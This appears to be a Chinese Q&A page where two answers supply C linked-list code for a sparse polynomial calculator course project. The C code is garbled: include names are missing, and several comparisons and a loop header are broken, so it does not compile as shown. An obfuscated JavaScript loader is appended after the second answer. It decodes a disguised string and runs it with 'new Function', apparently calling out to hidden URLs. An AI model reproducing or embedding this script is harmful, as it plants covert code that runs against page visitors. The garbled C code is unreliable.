一元稀疏多项式计算器的课程设计(数据结构)

2025-02-21 11:28:51
推荐回答(2个)
回答1:

//头文件
#include
#include
#include

//定义多项式的项
typedef struct Polynomial{
    float coef;
    int expn;
    struct Polynomial *next;
}*Polyn,Polynomial;

void Insert(Polyn p,Polyn h){     
    if(p->coef==0) free(p);//系数为0的话释放结点
    else
 {
        Polyn q1,q2;
        q1=h;
  q2=h->next;
        while(q2&&p->expnexpn)
  {//查找插入位置
            q1=q2;
            q2=q2->next;
  }
        if(q2&&p->expn==q2->expn)
  {//将指数相同相合并
            q2->coef+=p->coef;
            free(p);
            if(!q2->coef)
   {//系数为0的话释放结点
                q1->next=q2->next;
                free(q2);
   }
  }
        else
  {//指数为新时将结点插入
            p->next=q2;
            q1->next=p;
  }
 }
}

Polyn CreatePolyn(Polyn head,int m){
 //建立一个头指针为head、项数为m的一元多项式
    int i;
    Polyn p;
    p=head=(Polyn)malloc(sizeof(struct Polynomial));
    head->next=NULL;
    for(i=0;i {
        p=(Polyn)malloc(sizeof(struct Polynomial));//建立新结点以接收数据
        printf("请输入第%d项的系数与指数:",i+1);
        scanf("%f %d",&p->coef,&p->expn);
        Insert(p,head);   //调用Insert函数插入结点
 }
    return head;
}

void DestroyPolyn(Polyn p){
 //销毁多项式p
    Polyn q1,q2;
    q1=p->next;
    q2=q1->next;
    while(q1->next)
 {
        free(q1);
        q1=q2;
        q2=q2->next;
 }
}

void PrintPolyn(Polyn P){
 Polyn q=P->next; 
    int flag=1;//项数计数器
    if(!q)
 { //若多项式为空,输出0
        putchar('0'); 
        printf("\n");
        return;
 }   
    while(q)
 {
        if(q->coef>0&&flag!=1) putchar('+'); //系数大于0且不是第一项
        if(q->coef!=1&&q->coef!=-1)
  {//系数非1或-1的普通情况
            printf("%g",q->coef); 
            if(q->expn==1) putchar('X');
            else if(q->expn) printf("X^%d",q->expn);
  }
        else
  {
            if(q->coef==1)
   {
                if(!q->expn) putchar('1'); 
                else if(q->expn==1) putchar('X'); 
                else printf("X^%d",q->expn);
   }
            if(q->coef==-1)
   {
                if(!q->expn) printf("-1"); 
                else if(q->expn==1) printf("-X"); 
                else printf("-X^%d",q->expn);
   }
  }
        q=q->next; 
        flag++;
 }
    printf("\n");
}

int compare(Polyn a,Polyn b){
    if(a&&b)
 {
        if(!b||a->expn>b->expn) return 1;
        else if(!a||a->expnexpn) return -1;
        else return 0;
 }
    else if(!a&&b) return -1;//a多项式已空,但b多项式非空
    else return 1;//b多项式已空,但a多项式非空
}

Polyn AddPolyn(Polyn pa,Polyn pb){//求解并建立多项式a+b,返回其头指针
    Polyn qa=pa->next;
    Polyn qb=pb->next;
    Polyn headc,hc,qc;
    hc=(Polyn)malloc(sizeof(struct Polynomial));//建立头结点
    hc->next=NULL;
    headc=hc;
    while(qa||qb)
 {
        qc=(Polyn)malloc(sizeof(struct Polynomial));
        switch(compare(qa,qb)){
        case 1:
   {
                qc->coef=qa->coef;
                qc->expn=qa->expn;
                qa=qa->next;
                break;
   }
        case 0:
   { 
                qc->coef=qa->coef+qb->coef;
                qc->expn=qa->expn;
                qa=qa->next;
                qb=qb->next;
                break;
   }
        case -1:
   {
                qc->coef=qb->coef;
                qc->expn=qb->expn;
                qb=qb->next;
                break;
   } 
  }
        if(qc->coef!=0)
  {
            qc->next=hc->next;
            hc->next=qc;
            hc=qc;
  }
    else free(qc);//当相加系数为0时,释放该结点
 }
    return headc;
}

Polyn SubtractPolyn(Polyn pa,Polyn pb){//求解并建立多项式a-b,返回其头指针
    Polyn h=pb;
    Polyn p=pb->next;
    Polyn pd;
    while(p)
 {           //将pb的系数取反
        p->coef*=-1;
        p=p->next;
 }
    pd=AddPolyn(pa,h);
    for(p=h->next;p;p=p->next)    //恢复pb的系数
        p->coef*=-1;
    return pd;
}

int ValuePolyn(Polyn head,int x){
 //输入x值,计算并返回多项式的值
    Polyn p;
    int i;
    int sum=0,t;
    for(p=head->next;p;p=p->next)
 {
        t=1;
        for(i=p->expn;i!=0;)
  {
            if(i<0){t/=x;i++;}//指数小于0,进行除法
            else{t*=x;i--;}//指数大于0,进行乘法
  }
        sum+=p->coef*t;
 }
    return sum;
}

Polyn Derivative(Polyn head){
 //求解并建立导函数多项式,并返回其头指针
    Polyn q=head->next,p1,p2,hd;
    hd=p1=(Polyn)malloc(sizeof(struct Polynomial));//建立头结点
    hd->next=NULL;
    while(q)
 {
        if(q->expn!=0)
  {               //该项不是常数项时
            p2=(Polyn)malloc(sizeof(struct Polynomial));
            p2->coef=q->coef*q->expn;
            p2->expn=q->expn-1;
            p2->next=p1->next;//连接结点
            p1->next=p2;
            p1=p2;
  }
        q=q->next;
 }
    return hd;
}

Polyn MultiplyPolyn(Polyn pa,Polyn pb){
 //求解并建立多项式a*b,返回其头指针
    Polyn hf,pf;
    Polyn qa=pa->next;
    Polyn qb=pb->next;
    hf=(Polyn)malloc(sizeof(struct Polynomial));//建立头结点
    hf->next=NULL;
    for(;qa;qa=qa->next)
 {
        for(qb=pb->next;qb;qb=qb->next)
  {
            pf=(Polyn)malloc(sizeof(struct Polynomial));
            pf->coef=qa->coef*qb->coef;
            pf->expn=qa->expn+qb->expn;
            Insert(pf,hf);//调用Insert函数以合并指数相同的项
  }
 }
    return hf;
}

void main()
{
    int m,n,a,x;
 char flag;
    Polyn pa=0,pb=0,pc;

 printf("         欢迎使用多项式操作程序\n\n");
    printf("请输入a的项数:");
    scanf("%d",&m);
    pa=CreatePolyn(pa,m);//建立多项式a
    printf("请输入b的项数:");
    scanf("%d",&n);
    pb=CreatePolyn(pb,n);//建立多项式b

    //输出菜单
    printf("   *******************************************************\n");
    printf("   *                          多项式操作程序               *\n");
    printf("   *                                                      *\n");
    printf("   *           A:输出多项式             B:输出多项式b       *\n");
    printf("   *                                                      *\n");
    printf("   *           C:输出a的导数            D:输出b的导数       *\n");
    printf("   *                                                      *\n");
    printf("   *           E:代入x的值计算a          F:代入x的值计算b   *\n");
    printf("   *                                                      *\n");
    printf("   *           G:输出a+b                H:输出a-b          *\n");
    printf("   *                                                      *\n");
    printf("   *           I:输出a*b                J:退出程序         *\n");
    printf("   *                                                      *\n");
    printf("   *******************************************************\n");

 while(a)
 {
        printf("\n请选择操作:");
        scanf(" %c",&flag);//空格符号一定要注意
  switch(flag)
  {

      case'A':
      case'a':
    {
           printf("\n       多项式a=");
           PrintPolyn(pa);
           break;
    }
      case'B':
   case'b':
    {
        printf("\n       多项式b=");
        PrintPolyn(pb);
        break;
    }
            case'C':
            case'c':
    {
          pc=Derivative(pa);
          printf("\n       多项式a的导函数为:a'=");
        PrintPolyn(pc);
        break;
    }
            case'D':
   case'd':
    {
        pc=Derivative(pb);
        printf("\n       多项式b的导函数为:b'=");
        PrintPolyn(pc);
        break;
    }
            case'E':
   case'e':
    {
        printf("输入x的值:x=");
        scanf("%d",&x);
        printf("\n       x=%d时,a=%d\n",x,ValuePolyn(pa,x));
        break;
    }
            case'F':
   case'f':
    {
        printf("输入x的值:x=");
        scanf("%d",&x);
        printf("\n       x=%d时,b=%d\n",x,ValuePolyn(pb,x));
        break;
    }
      case'G':
   case'g':
    {
        pc=AddPolyn(pa,pb);
                    printf("\n       a+b=");
        PrintPolyn(pc);
        break;
    }
            case'H':
   case'h':
    {
        pc=SubtractPolyn(pa,pb);
                    printf("\n       a-b=");
        PrintPolyn(pc);
        break;
    }
            case'I':
   case'i':
    {
        pc=MultiplyPolyn(pa,pb);
                    printf("\n      a*b=");
        PrintPolyn(pc);
        break;
    }
      case'J':
   case'j':
    {
     printf("\n       感谢使用此程序!\n");
     DestroyPolyn(pa);
     DestroyPolyn(pb);
           a=0;
     break;
    }
            default:
    printf("\n       您的选择错误,请重新选择!\n");
  }
 }
}

把楼上的回答用代码格式重新排版了一下,方便阅读

回答2:

我刚做好的课程设计,得了个A+,免费给你了,包你满意,几乎没有漏洞!
//头文件
#include
#include
#include

//定义多项式的项
typedef struct Polynomial{
float coef;
int expn;
struct Polynomial *next;
}*Polyn,Polynomial;

void Insert(Polyn p,Polyn h){
if(p->coef==0) free(p);//系数为0的话释放结点
else
{
Polyn q1,q2;
q1=h;
q2=h->next;
while(q2&&p->expnexpn)
{//查找插入位置
q1=q2;
q2=q2->next;
}
if(q2&&p->expn==q2->expn)
{//将指数相同相合并
q2->coef+=p->coef;
free(p);
if(!q2->coef)
{//系数为0的话释放结点
q1->next=q2->next;
free(q2);
}
}
else
{//指数为新时将结点插入
p->next=q2;
q1->next=p;
}
}
}

Polyn CreatePolyn(Polyn head,int m){
//建立一个头指针为head、项数为m的一元多项式
int i;
Polyn p;
p=head=(Polyn)malloc(sizeof(struct Polynomial));
head->next=NULL;
for(i=0;i {
p=(Polyn)malloc(sizeof(struct Polynomial));//建立新结点以接收数据
printf("请输入第%d项的系数与指数:",i+1);
scanf("%f %d",&p->coef,&p->expn);
Insert(p,head); //调用Insert函数插入结点
}
return head;
}

void DestroyPolyn(Polyn p){
//销毁多项式p
Polyn q1,q2;
q1=p->next;
q2=q1->next;
while(q1->next)
{
free(q1);
q1=q2;
q2=q2->next;
}
}

void PrintPolyn(Polyn P){
Polyn q=P->next;
int flag=1;//项数计数器
if(!q)
{ //若多项式为空,输出0
putchar('0');
printf("\n");
return;
}
while(q)
{
if(q->coef>0&&flag!=1) putchar('+'); //系数大于0且不是第一项
if(q->coef!=1&&q->coef!=-1)
{//系数非1或-1的普通情况
printf("%g",q->coef);
if(q->expn==1) putchar('X');
else if(q->expn) printf("X^%d",q->expn);
}
else
{
if(q->coef==1)
{
if(!q->expn) putchar('1');
else if(q->expn==1) putchar('X');
else printf("X^%d",q->expn);
}
if(q->coef==-1)
{
if(!q->expn) printf("-1");
else if(q->expn==1) printf("-X");
else printf("-X^%d",q->expn);
}
}
q=q->next;
flag++;
}
printf("\n");
}

int compare(Polyn a,Polyn b){
if(a&&b)
{
if(!b||a->expn>b->expn) return 1;
else if(!a||a->expnexpn) return -1;
else return 0;
}
else if(!a&&b) return -1;//a多项式已空,但b多项式非空
else return 1;//b多项式已空,但a多项式非空
}

Polyn AddPolyn(Polyn pa,Polyn pb){//求解并建立多项式a+b,返回其头指针
Polyn qa=pa->next;
Polyn qb=pb->next;
Polyn headc,hc,qc;
hc=(Polyn)malloc(sizeof(struct Polynomial));//建立头结点
hc->next=NULL;
headc=hc;
while(qa||qb)
{
qc=(Polyn)malloc(sizeof(struct Polynomial));
switch(compare(qa,qb)){
case 1:
{
qc->coef=qa->coef;
qc->expn=qa->expn;
qa=qa->next;
break;
}
case 0:
{
qc->coef=qa->coef+qb->coef;
qc->expn=qa->expn;
qa=qa->next;
qb=qb->next;
break;
}
case -1:
{
qc->coef=qb->coef;
qc->expn=qb->expn;
qb=qb->next;
break;
}
}
if(qc->coef!=0)
{
qc->next=hc->next;
hc->next=qc;
hc=qc;
}
else free(qc);//当相加系数为0时,释放该结点
}
return headc;
}

Polyn SubtractPolyn(Polyn pa,Polyn pb){//求解并建立多项式a-b,返回其头指针
Polyn h=pb;
Polyn p=pb->next;
Polyn pd;
while(p)
{ //将pb的系数取反
p->coef*=-1;
p=p->next;
}
pd=AddPolyn(pa,h);
for(p=h->next;p;p=p->next) //恢复pb的系数
p->coef*=-1;
return pd;
}

int ValuePolyn(Polyn head,int x){
//输入x值,计算并返回多项式的值
Polyn p;
int i;
int sum=0,t;
for(p=head->next;p;p=p->next)
{
t=1;
for(i=p->expn;i!=0;)
{
if(i<0){t/=x;i++;}//指数小于0,进行除法
else{t*=x;i--;}//指数大于0,进行乘法
}
sum+=p->coef*t;
}
return sum;
}

Polyn Derivative(Polyn head){
//求解并建立导函数多项式,并返回其头指针
Polyn q=head->next,p1,p2,hd;
hd=p1=(Polyn)malloc(sizeof(struct Polynomial));//建立头结点
hd->next=NULL;
while(q)
{
if(q->expn!=0)
{ //该项不是常数项时
p2=(Polyn)malloc(sizeof(struct Polynomial));
p2->coef=q->coef*q->expn;
p2->expn=q->expn-1;
p2->next=p1->next;//连接结点
p1->next=p2;
p1=p2;
}
q=q->next;
}
return hd;
}

Polyn MultiplyPolyn(Polyn pa,Polyn pb){
//求解并建立多项式a*b,返回其头指针
Polyn hf,pf;
Polyn qa=pa->next;
Polyn qb=pb->next;
hf=(Polyn)malloc(sizeof(struct Polynomial));//建立头结点
hf->next=NULL;
for(;qa;qa=qa->next)
{
for(qb=pb->next;qb;qb=qb->next)
{
pf=(Polyn)malloc(sizeof(struct Polynomial));
pf->coef=qa->coef*qb->coef;
pf->expn=qa->expn+qb->expn;
Insert(pf,hf);//调用Insert函数以合并指数相同的项
}
}
return hf;
}

void main()
{
int m,n,a,x;
char flag;
Polyn pa=0,pb=0,pc;

printf(" 欢迎使用多项式操作程序\n\n");
printf("请输入a的项数:");
scanf("%d",&m);
pa=CreatePolyn(pa,m);//建立多项式a
printf("请输入b的项数:");
scanf("%d",&n);
pb=CreatePolyn(pb,n);//建立多项式b

//输出菜单
printf(" *******************************************************\n");
printf(" * 多项式操作程序 *\n");
printf(" * *\n");
printf(" * A:输出多项式 B:输出多项式b *\n");
printf(" * *\n");
printf(" * C:输出a的导数 D:输出b的导数 *\n");
printf(" * *\n");
printf(" * E:代入x的值计算a F:代入x的值计算b *\n");
printf(" * *\n");
printf(" * G:输出a+b H:输出a-b *\n");
printf(" * *\n");
printf(" * I:输出a*b J:退出程序 *\n");
printf(" * *\n");
printf(" *******************************************************\n");

while(a)
{
printf("\n请选择操作:");
scanf(" %c",&flag);//空格符号一定要注意
switch(flag)
{

case'A':
case'a':
{
printf("\n 多项式a=");
PrintPolyn(pa);
break;
}
case'B':
case'b':
{
printf("\n 多项式b=");
PrintPolyn(pb);
break;
}
case'C':
case'c':
{
pc=Derivative(pa);
printf("\n 多项式a的导函数为:a'=");
PrintPolyn(pc);
break;
}
case'D':
case'd':
{
pc=Derivative(pb);
printf("\n 多项式b的导函数为:b'=");
PrintPolyn(pc);
break;
}
case'E':
case'e':
{
printf("输入x的值:x=");
scanf("%d",&x);
printf("\n x=%d时,a=%d\n",x,ValuePolyn(pa,x));
break;
}
case'F':
case'f':
{
printf("输入x的值:x=");
scanf("%d",&x);
printf("\n x=%d时,b=%d\n",x,ValuePolyn(pb,x));
break;
}
case'G':
case'g':
{
pc=AddPolyn(pa,pb);
printf("\n a+b=");
PrintPolyn(pc);
break;
}
case'H':
case'h':
{
pc=SubtractPolyn(pa,pb);
printf("\n a-b=");
PrintPolyn(pc);
break;
}
case'I':
case'i':
{
pc=MultiplyPolyn(pa,pb);
printf("\n a*b=");
PrintPolyn(pc);
break;
}
case'J':
case'j':
{
printf("\n 感谢使用此程序!\n");
DestroyPolyn(pa);
DestroyPolyn(pb);
a=0;
break;
}
default:
printf("\n 您的选择错误,请重新选择!\n");
}
}
}

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();